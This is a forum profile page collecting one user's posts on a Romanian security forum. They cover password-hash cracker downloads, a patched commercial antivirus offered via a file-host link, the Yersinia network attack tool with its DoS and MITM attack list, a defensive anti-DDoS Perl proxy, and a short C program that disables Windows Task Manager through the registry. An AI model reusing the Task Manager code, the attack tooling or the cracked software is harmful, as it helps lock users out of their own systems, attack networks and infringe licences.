-
Posts
18752 -
Joined
-
Last visited
-
Days Won
725
Everything posted by Nytro
-
S-a inchis proiectul. S-au strans foarte putine articole. Poate se va redeschide ideea dupa ce termin cu sesiunea, cand voi termina un articol deja inceput si poate voi mai scrie unul.
-
Inca o "chestie" aniversara. Multumim pentru activitate, sper ca veti fi activi si pe viitor, dar sper sa va mai si maturizati si sa va ganditi si la lucruri mai serioase cum ar fi temele acestui forum. PS: Daca vreti un viitor in domeniul informaticii, ar trebui sa va ganditi mai profund la ce am spus mai sus, aici va puteti forma o baza solida, dar totul depinde de voi. La cat mai multe posturi (de o calitate mai ridicata)!
-
Cred ca Viz0n. La profil scrie ca e o fata de 15 ani dar nu prea cred. Oricum, nu asta conteaza, conteaza ca se ocupa de problemele site-ului. Au fost niste probleme cu inregistrarile, cu DNS-ul pentru IRC si altele si au fost remediate foarte repede. Se ocupa de site.
-
Tampenie veche si inutile. Topic inchis.
-
E un forum mai serios, cateva persoane care posteaza, le pasa de forum si de informatiile care se posteaza, nu prea am vazut aberatii sau intrebari stupide. Imi place, cel putin momentan. Stiu ca probabil ati auzit de el. http://r00tsecurity.org/forums/
-
Si pe ce criterii se vor alege utilizatorii? Zicem ca imi fac contul "x". Cont care nu il am si pe alte site-uri, deci nu vei putea stii cine sunt. Cine va fi ales, si cine nu? Se pot face neaprobari pentru useri ca "HackerCracker1337", dar cred ca numele de utilizator nu este de ajuns.
-
"Security Stuff" este o arie vasta. Pe langa un numar limitat de utilizatori care vor fi alesi de tine si de membrii alesi de tine, care ar fi noutatile? Va fi strict tehnic si nu se vor permite aberatiile?
-
Hashcat v.0.35 - Hash Password Recovery * Free * Multi-Threaded * Multi-Hash * Linux & Windows native binaries * quickest cpu-based multihash cracker * SSE2 accelerated * All Attack-Modes except Brute-Force and Permutation can be extended by rules * quick Rule-engine * Rules mostly compatible with JTR and PasswordsPro * feasible to resume or limit session * Automatically recognizes recovered hashes from outfile at startup * Can automatically generate random rules * Load hashlist with over 3 million hashes of any type at once * Load saltlist from external file and then use them in a Brute-Force Attack variant * Able to work in an distributed environment * Specify multiple wordlists and also multiple directories of wordlists * Number of threads can be configured * Threads run on lowest priority * 30+ Algorithms implemented with performance in mind * and more Source: hashcat - advanced password recovery Download: http://hashcat.net/files/hashcat-0.35.rar Hashcat GUI: http://hashcat.net/files/hashcat-gui-0.2.453.rar Read more: MD5 Crackers | Password Recovery | Wordlist Downloads
-
Whitepixel - ATI MD5 BruteForcer Whitepixel is an open source (GPLv3) GPU-accelerated password hash auditing software for AMD/ATI graphics cards. It is currently the world's fastest single-hash MD5 brute forcer. * For AMD Radeon HD 5000 series and above * Multi-GPU support (tested with 8 GPUs) * Best MD5 implementation: uses bitalign IL instruction, BFI_INT native instruction, reversing * Open source: GPLv3 * Basic configurable charsets Download: http://whitepixel.zorinaq.com/files/whitepixel-2.tar.bz2 Source: whitepixel - GPU-accelerated password hash auditing Read more: MD5 Crackers | Password Recovery | Wordlist Downloads
-
oclHashCat v.0.24 - Multi Hash GPU Cracker Features: * Free * Multi-GPU (up to 16 gpus) * Multi-Hash (up to 24 million hashes) * Multi-OS (Linux & Windows native binaries) * Multi-Platform (OpenCL & CUDA support) * Multi-Algo (MD4, MD5, SHA1, DCC, NTLM, MySQL, ...) * Fastest multihash MD5 cracker on NVidia cards * Fastest multihash MD5 cracker on ATI 5xxx cards * Supports wordlists (not limited to Brute-Force / Mask-Attack) * Combines Dictionary-Attack with Mask-Attack to launch a Hybrid-Attack * Runs very cautious, you can still watch movies or play games while cracking * Supports pause / resume * The first and only GPU-based Fingerprint-Attack engine * Includes hashcats entire rule engine to modify wordlists on start * ... and much more Algorithms: * MD5 * md5($pass.$salt) * md5($salt.$pass) * md5(md5($pass)) * md5(md5($pass).$salt) * SHA1 * sha1($pass.$salt) * sha1($salt.$pass) * MySQL * MySQL4.1/MySQL5 * MD4 * NTLM * Domain Cached Credentials Huge improvement on multi-hash cracking - see the details here: oclHashcat v0.24 Download: http://hashcat.net/files/oclHashcat-0.24.7z Source: oclHashcat - advanced password recovery Read more: MD5 Crackers | Password Recovery | Wordlist Downloads
-
Unrarhp - RAR -hp Password Cracker Unrarhp is a Unix command line brute forcer to recover the passwords of RAR archives encrypted with the RAR 3.x "-hp" option. This option, contrary to "-p", also encrypts the block headers & protects metadata such as filenames, etc. As of June 2010, unrarhp is the only RAR "-hp" brute forcer that is open source & free. Download: http://www.zorinaq.com/unrarhp/unrarhp-1.tar.gz Source: http://www.zorinaq.com/projs.html Read more: MD5 Crackers | Password Recovery | Wordlist Downloads
-
Si da si nu. Tu decizi. Il poti cumpara daca doresti: Purchase
-
Anti-Trojan Elite 5.3.2 + Patch Anti-Trojan Elite™ (ATE) is a malware remover, it can detect and clean malware in disk or memory. Malware is software designed specifically to damage or disrupt a system, such as a trojan horse, a spyware or a keylogger. ATE contains a Real-Time File Firewall, it monitor system and clean malwares immediately. It is also a system security tools, you can view and control processes and TCP/IP network connections. Anti Trojan Elite provide a real-time malware firewall for user, once a trojan or keylogger would been loaded, the ATE can detect, block and then clean it in time. The ATE can detect more than 35000 trojans, worms and keyloggers currently, and the number of malware ATE could clean is growing up very quickly, we collect world-wide malwares, user can using our auto live update feature to get the power to clean these new malwares in time. Anti Trojan Elite has some useful utilities especially. The network utility can been used to disconnect suspicious TCP connections; The process utility can been used to kill suspicious processes even the process has the system priviage, even it has the ability to unload suspicious modules in all processes; The registry repair utility can been used to repair registry altered by malware; The registry monitor utility can been used to repair any change of important registry keys and values with real time. THE REASONS CHOOSE ANTI TROJAN ELITE: • Real-time malware firewall, protecting user's computer in real-time. • Detecting and cleaning binded malware, doesn't hurt normal file and clean the malware. • Detecting and cleaning no process malware, some malware don't have a EXE file, they are only some DLL files and running as some threads in other process, ATE can detect and clean this type of malware even it's running. • Free tools. View the information of Tcp/Ip states and processes informations. FEATURES: • Disk and memory scan supported. • Real-time malware firewall. • Compressed files (RAR ZIP CAB) scan supported. • Backup module: Backup trojan files before killing. • Network Manager. View the tcp/udp states and the processes they belonged to. User can disconnect any tcp connection and stop the opposite process. • Process manager. View the processes and its DLL modules' information. User can terminate any process and unload any DLL module. • Internet Explorer and registry repair utility. • Updating online supported, and auto check updates when ATE starts. • Real-time registry monitor utility. Supported OS: Windows 98 ME 2000 XP 2003 Vista 7 Homepage: http://www.remove-trojan.com Download: http://hotfile.com/dl/100276873/c5e28a0/ATE5.3.2.rar.html Sursa: http://r00tsecurity.org/forums/topic/12447-anti-trojan-elite-532patch/page__pid__38367#entry38367
-
Yersinia: Network Exploition Tool Screenshot: http://www.yersinia.net/img/gui.png Yersinia is a network tool designed to take advantage of some weakness in different network protocols. It pretends to be a solid framework for analyzing and testing the deployed networks and systems. This is not any other network scanning and analysis tool like Nmap. This is a real hacking tool already loaded with exploits including the latest VTP(VLAN Trunking Protocol) DoS exploit. Attacks for the following network protocols are implemented: * Spanning Tree Protocol (STP) * Cisco Discovery Protocol (CDP) * Dynamic Trunking Protocol (DTP) * Dynamic Host Configuration Protocol (DHCP) * Hot Standby Router Protocol (HSRP) * IEEE 802.1Q * IEEE 802.1X * Inter-Switch Link Protocol (ISL) * VLAN Trunking Protocol (VTP) Attacks pertaining to specific network protocols: Spanning Tree Protocol 1. Sending RAW Configuration BPDU 2. Sending RAW TCN BPDU 3. DoS sending RAW Configuration BPDU 4. DoS sending RAW TCN BPDU 5. Claiming Root Role 6. Claiming Other Role 7. Claiming Root Role dual home (MITM) Cisco Discovery Protocol 1. Sending RAW CDP packet 2. DoS flooding CDP neighbors table 3. Setting up a virtual device Dynamic Host Configuration Protocol 1. Sending RAW DHCP packet 2. DoS sending DISCOVER packet (exhausting ip pool) 3. Setting up rogue DHCP server 4. DoS sending RELEASE packet (releasing assigned ip) Hot Standby Router Protocol 1. Sending RAW HSRP packet 2. Becoming active router 3. Becoming active router (MITM) Dynamic Trunking Protocol 1. Sending RAW DTP packet 2. Enabling trunking 802.1Q 1. Sending RAW 802.1Q packet 2. Sending double encapsulated 802.1Q packet 3. Sending 802.1Q ARP Poisoning 802.1X 1. Sending RAW 802.1X packet 2. Mitm 802.1X with 2 interfaces VLAN Trunking Protocol 1. Sending RAW VTP packet 2. Deleting ALL VLANs 3. Deleting selected VLAN 4. Adding one VLAN 5. Catalyst crash Download and homepage: http://www.yersinia.net/
-
De ce /9? 700 Mbps = 700 Mega BITI pe secunda x MBps = x Mega BYTES pe secunda 1 BYTE = 8 BITI Deci, impartirea se face la 13, nu?
-
Let's Build a Compiler Author: Jack Crenshaw This fifteen-part series, written from 1988 to 1995, is a non-technical introduction to compiler construction. * Part 1: INTRODUCTION * Part 2: EXPRESSION PARSING * Part 3: MORE EXPRESSIONS * Part 4 INTERPRETERS * Part 5: CONTROL CONSTRUCTS * Part 6: BOOLEAN EXPRESSIONS * Part 7: LEXICAL SCANNING * Part 8: A LITTLE PHILOSOPHY * Part 9: A TOP VIEW * Part 10: INTRODUCING "TINY" * Part 11: LEXICAL SCAN REVISITED * Part 12: MISCELLANY * Part 13: PROCEDURES * Part 14: TYPES * Part 15: BACK TO THE FUTURE * Part 16: UNIT CONSTRUCTION Download the tutorial It's available in two formats, plain text, and with printer control characters so it will print reasonably on an Epson printer. * ZIP file of plain text files (212K) * ZIP file of DOS text files (214K) * ZIP file of plain formatted files (193K) * PDF of plain formatted files (581K) Download PDF: http://compilers.iecc.com/crenshaw/tutorfinal.pdf
-
Compiler Construction Author: Niklaus Wirth Download: http://www-old.oberon.ethz.ch/WirthPubl/CBEAll.pdf
-
[Perl] DDOS Accept ddos_accept.pl -- tool for mitigating attacks against httpd's accept loop #!/usr/bin/perl # # ddos_accept.pl -- tool for mitigating attacks against httpd's accept loop # # Usage: ddos_accept.pl [-vd] [-t timeout] [-q queuelen] hostname port [proxy] # # Will listen on hostname's port and proxy connections to proxy's port (default localhost); # designed to ignore idiots who connect and immediately disconnect, since that is # the nature of the ddos. # # Even with -d (daemonize) set and -v (verbose) unset, this script will spew occasional # warnings to stderr. Be sure to close stderr on the command line if you are absolutely # uninterested in any loggable output. # use strict; use warnings; no warnings 'uninitialized'; use IO::Socket::INET; use IO::Select; use Errno ":POSIX"; use POSIX "setsid"; use Getopt::Std; my $USAGE = "Usage: ddos_accept.pl [-vd] [-t timeout] [-q queuelen] hostname port [proxy]\n"; getopts "vdt:q:" => \ my %opts or die $USAGE; @ARGV >= 2 or die $USAGE; my $VERBOSE = $opts{v}; my $QUEUE = $opts{q} || 512; my $TIMEOUT = $opts{t} || 60; my $HOST = shift; my $PORT = shift; my $PROXY = shift || "localhost"; my $listener = IO::Socket::INET->new( Listen => $QUEUE, LocalAddr => $HOST, LocalPort => $PORT, Proto => "tcp", ReuseAddr => 1, Blocking => 0, ) or die "Can't create listener on $HOST\:$PORT\: $!"; my $readers = IO::Select->new; my $listeners = IO::Select->new; $readers->add($listener); $listeners->add($listener); my $writers = IO::Select->new; if ($opts{d}) { # daemonize open STDIN, "</dev/null" or die "can't read /dev/null: $!"; open STDOUT, ">/dev/null" or die "can't write /dev/null: $!"; defined (my $pid = fork) or die "can't fork: $!"; exit if $pid; setsid or die "can't create new session: $!"; } my (%client, %proxy, %client_read_buffer, %client_spoke, %proxy_read_buffer, %client_read_closed, %proxy_read_closed); # The %client and %proxy hashes are named to describe their keys, not their values. # The values of those hashes are exactly the opposite of their names. # The %client_read_buffer and the %proxy_read_buffer hashes describe the internal memory locations # of where the recv() results are stored and are appropriately named. # The %client_read_closed and %proxy_read_closed hashes are flags which indicate whether # the read-side of the socket has shut down. # The %client_spoke hash tags the last time the client socket was active. $SIG{PIPE} = sub { warn "SIG$_[0] detected" }; my $last_garbage_collection = time; MAIN_LOOP: while (1) { warn "READ = ", $readers->count, "\tWRITE = ", $writers->count, "\tCLIENT = " . keys %client, "\tPROXY = " . keys %proxy, "\n" if $VERBOSE; READER: for my $r ($readers->can_read(0.25)) { if ($r == $listener) { my $i = 0; do { my $c = $listener->accept or (warn("accept failed: $!"), last); $c->blocking(0); $readers->add($c); $writers->add($c); $client{$c} = undef; $client_spoke{$c} = [time, $c]; warn("listen backlog full"), last if ++$i == $QUEUE; } while ($listeners->can_read(0)); } elsif (exists $client{$r}) { # this handle is a readable client-side socket $client_spoke{$r}->[0] = time; unless (defined $client{$r}) { # this client-side socket has no existing associated proxy connection recv $r, $client_read_buffer{$r}, 8192, 0; my $bytes_read = length $client_read_buffer{$r}; warn "recv 8192 ($bytes_read)" if $VERBOSE; if (!$bytes_read) { next READER if $! == EAGAIN; warn "closing ddos connection: " . $r->peerhost; $readers->remove($r); $writers->remove($r); delete $client{$r}; delete $client_read_buffer{$r}; delete $client_spoke{$r}; close $r; } else { my $proxy = IO::Socket::INET->new( PeerAddr => $PROXY, PeerPort => $PORT, Proto => "tcp", Blocking => 0, ); if ($proxy) { warn "proxy for " . $r->peerhost . " created" if $VERBOSE; $client{$r} = $proxy; $proxy{$proxy} = $r; $proxy_read_buffer{$proxy} = ""; $readers->add($proxy); $writers->add($proxy); goto READ_CLIENT; } else { warn "couldn't create proxy socket: $!"; $readers->remove($r); $writers->remove($r); delete $client_read_buffer{$r}; delete $client{$r}; delete $client_spoke{$r}; close $r; } } } else { # this is a client-side readable socket with an existing proxy connection READ_CLIENT: while (1) { recv $r, my $buf, 8192, 0; my $bytes_read = length $buf; warn "recv 8192 ($bytes_read)" if $VERBOSE; if (!$bytes_read) { next READER if $! == EAGAIN; $readers->remove($r); $client_read_closed{$r} = 1; last; } else { $client_read_buffer{$r} .= $buf; } last if length $client_read_buffer{$r} > 65536; } } } elsif (exists $proxy{$r}) { # this handle is a proxy-side readable socket with an existing client connection (obviously) READ_PROXY: while (1) { recv $r, my $buf, 65536, 0; my $bytes_read = length $buf; warn "recv 65536 ($bytes_read)" if $VERBOSE; if (!$bytes_read) { next READER if $! == EAGAIN; $readers->remove($r); $proxy_read_closed{$r} = 1; last; } else { $proxy_read_buffer{$r} .= $buf; } last if length $proxy_read_buffer{$r} > 65536; } } } WRITER: for my $w ($writers->can_write(0)) { if (defined $client{$w} and (length $proxy_read_buffer{$client{$w}} or $proxy_read_closed{$client{$w}})) { # this handle is a client-side writable socket with pending proxy data my $bytes_written = send($w, $proxy_read_buffer{$client{$w}}, MSG_NOSIGNAL) || 0; warn "send " . length($proxy_read_buffer{$client{$w}}) . " ($bytes_written)" if $VERBOSE; next WRITER if $bytes_written == 0 and $! == EAGAIN; substr $proxy_read_buffer{$client{$w}}, 0, $bytes_written, ""; $client_spoke{$w}->[0] = time; if (!$bytes_written or length($proxy_read_buffer{$client{$w}}) == 0 and $proxy_read_closed{$client{$w}}) { # all done: time to clean up warn "done with " . $w->peerhost if $VERBOSE; my $proxy = $client{$w}; $readers->remove($w, $proxy); $writers->remove($w, $proxy); delete $client{$w}; delete $client_read_buffer{$w}; delete $client_read_closed{$w}; delete $client_spoke{$w}; delete $proxy{$proxy}; delete $proxy_read_buffer{$proxy}; delete $proxy_read_closed{$proxy}; close $w; close $proxy; } } elsif (defined $proxy{$w} and (length $client_read_buffer{$proxy{$w}} or $client_read_closed{$proxy{$w}})) { # this handle is a proxy-side writable socket with pending client data my $bytes_written = send($w, $client_read_buffer{$proxy{$w}}, MSG_NOSIGNAL) || 0; warn "send " . length($client_read_buffer{$proxy{$w}}) . " ($bytes_written)" if $VERBOSE; next WRITER if $bytes_written == 0 and $! == EAGAIN; substr $client_read_buffer{$proxy{$w}}, 0, $bytes_written, ""; if (!$bytes_written or length($client_read_buffer{$proxy{$w}}) == 0 and $client_read_closed{$proxy{$w}}) { shutdown $w, 1; $writers->remove($w); } } } GARBAGE: my $now = time; next MAIN_LOOP if $now == $last_garbage_collection; $last_garbage_collection = $now; for my $c (map $client_spoke{$_}->[1], grep $now - $client_spoke{$_}->[0] > $TIMEOUT, keys %client_spoke) { # client connections idle for more than $TIMEOUT seconds are terminated warn "timed out " . $c->peerhost if $VERBOSE; if (my $proxy = $client{$c}) { $readers->remove($proxy); $writers->remove($proxy); delete $proxy{$proxy}; delete $proxy_read_buffer{$proxy}; delete $proxy_read_closed{$proxy}; close $proxy; } $readers->remove($c); $writers->remove($c); delete $client{$c}; delete $client_read_buffer{$c}; delete $client_read_closed{$c}; delete $client_spoke{$c}; close $c; } } =head1 COPYRIGHT Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. Sursa: ddos_accept.pl -- tool for mitigating attacks against httpd's accept loop - r00tsecurity
-
[C++] Optimized prime number method #include <cmath> bool prime(unsigned n) { switch (n) { case 0: case 1: return false; case 2: case 3: return true; default: break; } double dSq = sqrt((double)n); unsigned sqrt = (int)dSq; unsigned prime; // check 2 to sqrt for divisibility __asm { mov esi, n mov edi, sqrt mov ebx, 1 mov ecx, 1 _loop: inc ecx cmp ecx, edi ja _end mov eax, esi xor edx, edx div ecx cmp edx, 0 jne _loop mov ebx, 0 _end: mov prime, ebx } return (prime == 1); } Sursa: Optimized prime num method - r00tsecurity
-
[C] Disable Task Manager #include <windows.h> int main() { DWORD dwVal = 1; HKEY hKey; RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\", 0, KEY_ALL_ACCESS, &hKey); RegSetValueEx (hKey, "DisableTaskmgr", 0, REG_DWORD, (LPBYTE)&dwVal , sizeof(DWORD)); RegCloseKey(hKey); return 0; } Sursa: Disable Task Manager - r00tsecurity
-
700 Mbps = 700 / 8 MBps = 87.5 MBps. Insa nu cred ca se pot atinge asemenea viteze de pe un calculator simplu. Poate cu cine stie ce procesor, iar datele de se trimit sa nu fie citite de pe hard-disk. In RAM, in C, viteza de scriere (memset) era de de aproximativ 15 MBps, si 50 MPps la citire, desigur, asta tine de procesor. Deci sunt multe limitari, nu numai mediul de transmisie e important. Asta daca nu va referiti strict la transfer, asa da, cred ca se poate fara prea mari probleme, fibra optica rullz. Ca viteza, stiu ca facusera niste teste cu un satelit Alcatel si ajunsesera la 5 GBps, dar nu ai cum sa scrii atatea date intr-o secunda pe un hard-disk de exemplu. Dar da, se pot atinge 2000 GBps daca faceti suma la date trimise de la mai multe calculatoare... Oricum nu mi se pare prea amuzant, din moment ce am vazut sute de cazuri mai "naspa" decat acesta.
-
LibreOffice, alternativa gratis pentru Microsoft Office Cum s-a format LibreOffice: La data de 28 septembrie 2010, unii membri al proiectului OpenOffice.org au format un nou grup numit The Document Foundation, ?i au pus la dispozi?ie o noua versiune de OpenOffice.org, care s-a bazat pe versiunea OpenOffice.org 3.3 beta. Acest grup s-a format dupa ce compania Oracle a cumparat Sun Microsystems (fostul sponsor si fondator al OpenOffice.org), acestia urmând sa nu mai distribuie in format OpenSource, suita de aplicatii OpenOffice. The Document Foundation le-a propus celor de la Oracle sa doneze proiectul OpenOffice.org. Dupa ce acestia au refuzat sa doneze proiectul, la sfarsitul lui Octombrie 2010, 33 dintre developerii suitei OpenOffice s-au la The Document Foundation, pentru a sprijini LibreOffice. Ce este LibreOffice: LibreOffice este o suita de applicatii office, care este compatibila cu alte suite majore de birou (Microsoft Office), ?i disponibile pe o varietate de platforme. Scopul este de a produce un set de de aplicatii de birou compatibil cu cel distribuit de cei de la Microsoft, cu sprijinul ODF disponibile pentru toata lumea gratis. Ca software liber, utilizatorii sunt liber sa descarce, modifice, utiliza ?i distribui LibreOffice. Bla bla... Continuarea si sursa: http://www.rogeek.net/2011/01/libreoffice-alternativa-gratis-pentru.html Link oficial: http://www.libreoffice.org/
-
Cat de rau si de violent este acest baiat. Ar trebui sa aveti grija. Poate vine cu tasu sa va bata.
-
Ar trebui sa se simta cineva jignit? Nu esti primul fan, nici ultimul. Esti doar un alt "nimeni"